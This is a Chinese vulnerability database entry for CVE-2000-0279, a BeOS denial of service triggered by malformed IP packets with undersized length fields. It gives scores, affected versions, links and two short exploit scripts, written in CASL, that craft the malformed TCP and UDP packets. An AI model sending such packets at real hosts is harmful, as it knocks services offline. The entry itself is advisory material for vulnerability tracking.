CVE-2000-0279
CVSS5.0
发布时间 :2000-04-07 00:00:00
修订时间 :2008-09-10 15:03:59
NMCOE    

[原文]BeOS allows remote attackers to cause a denial of service via malformed packets whose length field is less than the length of the headers.


[CNNVD]BeOS IP包长度域漏洞(CNNVD-200004-011)

        BeOS存在漏洞,远程攻击者通过长度域少于头部的异常包触发拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:be:beos:5.0
cpe:/o:be:beos:4.0
cpe:/o:be:beos:4.5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0279
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0279
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200004-011
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1100
(UNKNOWN)  BID  1100
http://bebugs.be.com/devbugs/detail.php3?oid=2505312
(UNKNOWN)  MISC  http://bebugs.be.com/devbugs/detail.php3?oid=2505312
http://archives.neohapsis.com/archives/bugtraq/2000-04/0029.html
(UNKNOWN)  BUGTRAQ  20000407 BeOS Networking DOS

- 漏洞信息

BeOS IP包长度域漏洞
中危 其他
2000-04-07 00:00:00 2005-08-24 00:00:00
远程※本地  
        BeOS存在漏洞,远程攻击者通过长度域少于头部的异常包触发拒绝服务。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19841)

Be BeOS 4.0/4.5/5.0 IP Packet Length Field Vulnerability (EDBID:19841)
BeOS local
2000-04-07 Verified
0 Tim Newsham
N/A [点击下载]
source: http://www.securityfocus.com/bid/1100/info

The networking process in BeOS can crash if certain malformed packets are transmitted to it. If the length field is set to a number less than the total length of the IP and protocol (TCP or UDP) headers alone, the process will halt and require manual restarting to regain normal functionality. For TCP, the combined TCP and IP header length is 40, and for UDP the combined UDP and IP header length is 28. 

--------------becasl.casl--------------------

#!/usr/local/casl/bin/casl

    #include "tcpip.casl"
    #include "packets.casl"
    #include "tcp.casl"

    srchost = 10.0.0.1;
    dsthost = 10.0.0.2;

    IPH = copy TCPIP;
    
    IPH.ip_hl = 5;
    IPH.ip_src = srchost;
    IPH.ip_dst = dsthost;
    IPH.ip_length = 39;
    
    packet = [ IPH ];
    ip_output(packet);

--------------becasl1.casl--------------------

 #!/usr/local/casl/bin/casl

    #include "tcpip.casl"
    #include "packets.casl"
    #include "tcp.casl"

    srchost = 10.0.0.1;
    dsthost = 10.0.0.2;

    IPH = copy UDPIP;

    IPH.ip_hl = 5;
    IPH.ip_src = srchost;
    IPH.ip_dst = dsthost;
    IPH.ip_length = 27;

    packet = [ IPH ];
    ip_output(packet);
		

- 漏洞信息

1280
BeOS IP Malformed Packet Length Field DoS
Local / Remote Denial of Service
Loss of Availability Solution Unknown
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-04-07 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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